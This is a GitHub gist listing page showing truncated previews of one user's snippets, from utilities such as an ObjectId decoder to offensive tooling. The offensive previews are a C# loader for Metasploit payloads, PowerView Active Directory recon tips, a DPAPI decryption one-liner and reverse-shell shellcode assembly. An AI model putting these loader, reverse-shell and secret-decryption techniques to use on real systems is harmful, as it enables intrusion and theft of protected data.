Skip to content

Instantly share code, notes, and snippets.

@lager1
lager1 / objectid-convert.py
Created March 8, 2024 16:32 — forked from philippreston/objectid-convert.py
Convert Mongo Object Id to Readable
import sys
import datetime
objectid = int(sys.argv[1], 16)
fmt = "%Y-%m-%d %H:%M:%S"
counter = objectid & 0xFFFFFF
shift = 24
process_id = (objectid >> shift) & 0xFFFF
shift += 16
@lager1
lager1 / msfsharp.cs
Created March 24, 2020 00:27
Run MSF payloads from C#
using System;
using System.IO;
using System.Runtime.InteropServices;
namespace UnmanagedCode
{
class Program
{
[DllImport("kernel32")]
static extern IntPtr VirtualAlloc(IntPtr ptr, IntPtr size, IntPtr type, IntPtr mode);
@lager1
lager1 / PowerView-3.0-tricks.ps1
Created March 19, 2020 00:57 — forked from HarmJ0y/PowerView-3.0-tricks.ps1
PowerView-3.0 tips and tricks
# PowerView's last major overhaul is detailed here: http://www.harmj0y.net/blog/powershell/make-powerview-great-again/
# tricks for the 'old' PowerView are at https://gist.github.com/HarmJ0y/3328d954607d71362e3c
# the most up-to-date version of PowerView will always be in the dev branch of PowerSploit:
# https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1
# New function naming schema:
# Verbs:
# Get : retrieve full raw data sets
# Find : ‘find’ specific data entries in a data set
@lager1
lager1 / .screenrc-main-example
Created February 8, 2020 02:35 — forked from ChrisWills/.screenrc-main-example
A nice default screenrc
# GNU Screen - main configuration file
# All other .screenrc files will source this file to inherit settings.
# Author: Christian Wills - cwills.sys@gmail.com
# Allow bold colors - necessary for some reason
attrcolor b ".I"
# Tell screen how to set colors. AB = background, AF=foreground
termcapinfo xterm 'Co#256:AB=\E[48;5;%dm:AF=\E[38;5;%dm'
@lager1
lager1 / Unprotect-ProtectedData.ps1
Created February 6, 2020 20:21 — forked from atifaziz/Unprotect-ProtectedData.ps1
Decrypting DPAPI-protected Base64 data from PowerShell
Add-Type -AssemblyName System.Security;
[Text.Encoding]::ASCII.GetString([Security.Cryptography.ProtectedData]::Unprotect([Convert]::FromBase64String((type -raw (Join-Path $env:USERPROFILE foobar))), $null, 'CurrentUser'))
@lager1
lager1 / shell_reverse_tcp.asm
Created December 21, 2019 17:18 — forked from geyslan/shell_reverse_tcp.asm
Shell Reverse TCP in Assembly Language - forlife
; This is a snippet of the original file in https://github.com/geyslan/SLAE/blob/master/2nd.assignment/shell_reverse_tcp.asm
global _start
section .text
_start:
; host
push 0x0101017f ; IP Number "127.1.1.1" in hex reverse order
from datetime import datetime, timedelta
def to_timestamp(timestamp):
timestamp = float(timestamp[0])
seconds_since_epoch = timestamp/10**7
loc_dt = datetime.fromtimestamp(seconds_since_epoch)
loc_dt -= timedelta(days=(1970 - 1601) * 365 + 89)
return loc_dt
@lager1
lager1 / .block
Created January 22, 2019 22:21
fresh block
license: mit
@lager1
lager1 / .block
Last active January 22, 2019 15:46
data updates
license: mit
@lager1
lager1 / openssl_source_ip.sh
Last active July 29, 2021 05:37
openssl source ip wrapper
#!/bin/bash
# ============================================================
# openssl wrapper which enables source address specification
#
# script params:
# 1) source ip address or corresponding dns name
# 2) destination ip address or corresponding dns name
# 3) destination port
# 4) certiticate to use with openssl